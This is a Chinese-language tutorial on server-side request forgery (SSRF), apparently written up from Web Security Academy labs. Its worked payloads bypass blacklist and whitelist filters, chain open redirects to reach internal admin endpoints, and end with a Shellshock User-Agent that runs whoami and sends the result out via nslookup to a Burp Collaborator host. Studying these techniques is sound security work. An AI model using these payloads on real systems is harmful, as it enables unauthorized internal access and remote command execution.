简析SSRF
Server-side request forgery,服务端请求伪造
允许攻击者诱使服务器端应用程序向攻击者选择的任意域发出HTTP请求
在针对服务器本身的SSRF攻击中,攻击者诱使应用程序通过其环回网络接口向承载应用程序的服务器发出HTTP请求
1
2
3
4
5
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
案例1:针对本地服务器的基础SSRF
stockApi=http://localhost/admin/delete?username=carlos
为什么应用会有这种隐式方式信任来自计算机的请求,主要有以下原因;
- 在应用程序前端服务器的不同组件中实现访问控制检查。与服务器本身建立连接后,将绕过检查
- 为了灾难恢复的目的,以便于管理员在失去凭证情况下可以从其他客户进行恢复
- 管理员接口可能在其他端口监听,因此在用户不能直接连入的情况下通过这种方式接入管理接口
SSRF攻击其他后端系统
案例2:针对后端系统的SSRF
http://192.168.0.110:8080/admin/delete?username=carlos
避免普通SSRF攻击
基于黑名单的输入过滤器的SSRF
某些应用禁止输入包含类似localhost/127.0.0.1的主机名或敏感url,但是可以通过其他方法进行绕过:
- 替代ip地址:
127.0.0.1==>2130706433(十进制), 017700000001(八进制), or 127.1 - 注册自己的域名,该域名解析为
127.0.0.1,可以为此目的使用spoofed.burpcollaborator.net - 通过URL编码和大小写对禁止的字符串进行混淆
127.1==127.0.0.1,浏览器会自动补全
案例3:基于黑名单的输入过滤器的SSRF
stockApi=http://017700000001/%2561dmin/delete?username=carlos
基于白名单的输入过滤器的SSRF
URL规范包含许多功能,这些特征在实施临时解析和URL验证时容易被忽略:
- 使用
@字符在主机名之前的URL中嵌入凭据:http://expected-host@evil-host - 使用
#字符指示URL片段:http://evil-host#expected-host - 利用DNS命名层次结构将所需的输入放入您控制的标准DNS名称中:
http://expected-host.evil-host - 使用URL编码字符来混淆URL解析代码。如果实现过滤器的代码与执行后端HTTP请求的代码以不同的方式处理URL编码的字符,则这特别有用
evil-host代表原先URL,expected-host代表利用的URL
案例4: 基于白名单的输入过滤器的SSRF
stockApi=http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos
通过开放式重定向绕过SSRF过滤器
1
2
3
4
5
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin
这种SSRF漏洞之所以有效,是因为该应用程序首先验证了所提供的stockAPI ,并且URL在允许的域中,然后应用程序进行重定向,并向攻击者选择的内部URL发出请求
案例5:通过重定向绕过SSRF
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin/delete?username=carlos
Blind SSRF漏洞
-
什么是Blind SSRF漏洞
当可以诱使应用程序向提供的URL发出后端HTTP请求,但是在应用程序的前端响应中未返回来自后端请求的响应时,就会出现Blind SSRF漏洞
-
如何找到和利用Blind SSRF
一般通过带外技术(out-of-band,OAST)来检测后端服务器与指定的服务器是否有网络交互,现成有效的OAST技术就是使用Burp Collaborator client
案例6:带有Shellshock漏洞的Blind SSRF
1
2
3
4
5
6
7
GET /product?productId=1 HTTP/1.1
Host: ac081f2e1f63f81d8077445500ff00fa.web-security-academy.net
User-Agent: (){:;};/usr/bin/nslookup $(whoami).kc0silczxsiie14lce41r4ymsdy3ms.burpcollaborator.net
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.§1§:8080
Shellshock是GNU Bourne Again Shell(BASH)中的一个漏洞,攻击者可以使用特制环境变量来运行任意命令